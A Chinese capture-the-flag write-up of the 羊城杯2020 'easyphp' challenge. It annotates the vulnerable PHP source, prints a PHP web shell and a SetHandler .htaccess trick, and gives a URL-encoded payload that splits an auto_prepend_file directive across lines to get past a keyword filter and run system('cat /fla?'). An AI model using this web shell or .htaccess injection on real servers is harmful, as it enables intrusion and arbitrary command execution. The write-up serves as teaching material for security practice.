3.[羊城杯2020]easyphp

打开题目页面如下

给出PHP源码,进行代码审计

php 复制代码
<?php
    // 使用 scandir 函数扫描当前目录(即 ./ 表示的当前目录),将目录下的所有文件和文件夹名存储到 $files 数组中
    $files = scandir('./'); 
    // 遍历 $files 数组,对数组中的每个元素(即每个文件或文件夹名)执行循环体操作
    foreach($files as $file) {
        // 判断当前 $file 是否为一个普通文件,而不是文件夹等其他类型
        if(is_file($file)){
            // 检查当前文件是否不是 "index.php"
            if ($file !== "index.php") {
                // 如果不是 "index.php",则使用 unlink 函数删除该文件
                unlink($file);
            }
        }
    }
    // 检查 $_GET 数组中是否同时存在 'content' 和 'filename' 键
    // $_GET 数组用于获取通过 HTTP GET 方法传递的参数
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        // 如果不存在,则使用 highlight_file 函数高亮显示当前文件(即本 PHP 文件)的源代码
        highlight_file(__FILE__);
        // 终止脚本的执行
        die();
    }
    // 从 $_GET 数组中获取 'content' 参数的值,并赋值给 $content 变量
    $content = $_GET['content'];
    // 使用 stristr 函数检查 $content 中是否包含 'on'、'html'、'type'、'flag'、'upload' 或 'file' 这些字符串
    // stristr 函数是不区分大小写的字符串查找函数
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        // 如果包含,则输出 "Hacker" 字符串
        echo "Hacker";
        // 终止脚本的执行
        die();
    }
    // 从 $_GET 数组中获取 'filename' 参数的值,并赋值给 $filename 变量
    $filename = $_GET['filename'];
    // 使用 preg_match 函数进行正则表达式匹配
    // 正则表达式 "/[^a-z\.]/" 表示匹配除小写字母 a - z 和点号 . 之外的任何字符
    // 如果匹配到了,则 preg_match 函数返回 1
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        // 如果匹配到了非法字符,则输出 "Hacker" 字符串
        echo "Hacker";
        // 终止脚本的执行
        die();
    }
    // 再次扫描当前目录,将目录下的所有文件和文件夹名存储到 $files 数组中
    $files = scandir('./'); 
    // 再次遍历 $files 数组,对数组中的每个元素(即每个文件或文件夹名)执行循环体操作
    foreach($files as $file) {
        // 判断当前 $file 是否为一个普通文件,而不是文件夹等其他类型
        if(is_file($file)){
            // 检查当前文件是否不是 "index.php"
            if ($file !== "index.php") {
                // 如果不是 "index.php",则使用 unlink 函数删除该文件
                unlink($file);
            }
        }
    }
    // 使用 file_put_contents 函数将 $content 内容加上换行符和 "Hello, world" 字符串写入到 $filename 指定的文件中
    // 如果文件不存在,则会创建该文件;如果文件已存在,则会覆盖原文件内容
    file_put_contents($filename, $content . "\nHello, world");
?>

这段代码的主要功能是:

清除当前目录下除 index.php 之外的所有文件。

接收通过 GET 请求传递的 content 和 filename 参数。

对 content 参数进行关键字过滤,防止包含特定敏感关键字。

对 filename 参数进行正则表达式验证,只允许包含小写字母和点号。

再次清除当前目录下除 index.php 之外的所有文件。

将 content 内容加上 "Hello, world" 写入到指定的文件中。


.htaccess 文件

.htaccess(Hypertext Access)文件是 Apache 服务器的一个配置文件,它允许用户在目录级别上对服务器进行配置,而无需修改主服务器配置文件。通过 .htaccess 文件,可以实现诸如 URL 重写、访问控制、文件类型映射等功能。

允许用户在不修改主服务器配置文件的情况下,对特定目录及其子目录进行个性化的配置。它为网站管理员提供了灵活的方式来定制服务器的行为,而无需直接操作服务器的主配置文件(如 httpd.conf

利用 .htaccess 文件写入 Web Shell 的原理

如果服务器允许使用 .htaccess 文件,并且对用户上传的 .htaccess 文件没有进行严格的过滤和验证,可以上传包含恶意配置的 .htaccess 文件,将普通文件解析为 PHP 代码,从而实现 Web Shell 的功能。

具体实现步骤

1. 构造恶意 .htaccess 文件

.txt 文件解析为 PHP 代码

apache

复制代码
<FilesMatch "\.txt$">
    SetHandler application/x-httpd-php
</FilesMatch>

上述代码的作用是将所有扩展名为 .txt 的文件按照 PHP 代码进行解析。

2. 上传恶意 .htaccess 文件

需要找到一个允许文件上传的漏洞点,将构造好的 .htaccess 文件上传到服务器的目标目录。

3. 上传包含 Web Shell 代码的 .txt 文件

上传一个包含 PHP Web Shell 代码的 .txt 文件

复制代码
<?php
if(isset($_REQUEST['cmd'])){
    system($_REQUEST['cmd']);
}
?>

上述代码是一个简单的 Web Shell,通过 GET 或 POST 请求传递 cmd 参数,可以执行任意系统命令。

4. 访问 Web Shell

上传成功后,可以通过访问 .txt 文件并传递 cmd 参数来执行系统命令

plaintext

复制代码
http://example.com/path/to/shell.txt?cmd=ls

构造payload

?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C

这个 payload 是通过构造特定的请求参数,尝试利用 .htaccess 文件的配置功能来执行恶意代码,以达到读取服务器上可能存在的 flag 文件内容的目的,通常应用于存在文件上传或参数可控漏洞的 Web 应用场景。

参数分析

1. filename=.htaccess

这部分指定了文件名。当服务器接收这个请求并处理文件写入操作时,会将后续的内容写入到名为 .htaccess 的文件中。.htaccess 文件是 Apache 服务器的一个分布式配置文件,允许在目录级别对服务器进行配置,攻击者可利用它来改变服务器对文件的处理方式或执行特定操作。

2. content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('cat%20/fla?')%3B%3F%3E%5C

这部分是要写入 .htaccess 文件的内容,由于是 URL 编码后的形式,需要先进行解码。解码后内容为:

plaintext

复制代码
php_value auto_prepend_fil\
e .htaccess
#<?php system('cat /fla?');?>

php_value auto_prepend_fil\ 和 e .htaccess:

这里利用了换行和拼接的技巧。正常的 PHP 指令是 php_value auto_prepend_file,用于指定在执行 PHP 脚本之前自动包含的文件。攻击者将这个指令拆分成两行,中间用反斜杠 \ 进行换行拼接,最终目的是让服务器将 .htaccess 文件自身作为预处理文件包含进来。这样,后续在执行该目录下的 PHP 脚本时,会先执行 .htaccess 文件中的内容。

#<?php system('cat /fla?');?>:

这部分虽然看起来是一个注释,实际上是攻击者的恶意代码。# 在 .htaccess 文件中是注释符号,但当 .htaccess 文件被当作 PHP 代码执行时,# 就失去了注释的作用。<?php system('cat /fla?');?> 是一段 PHP 代码,system 函数用于执行系统命令,cat /fla? 表示尝试读取以 fla 开头的文件内容,可能是为了获取服务器上存储的 flag 文件。

最后利用hackbar插件构造url

最终得到flag

相关推荐
用户962377954483 小时前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机6 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机6 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954488 小时前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star8 小时前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户9623779544811 小时前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
BingoGo2 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack2 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
cipher2 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
BingoGo3 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php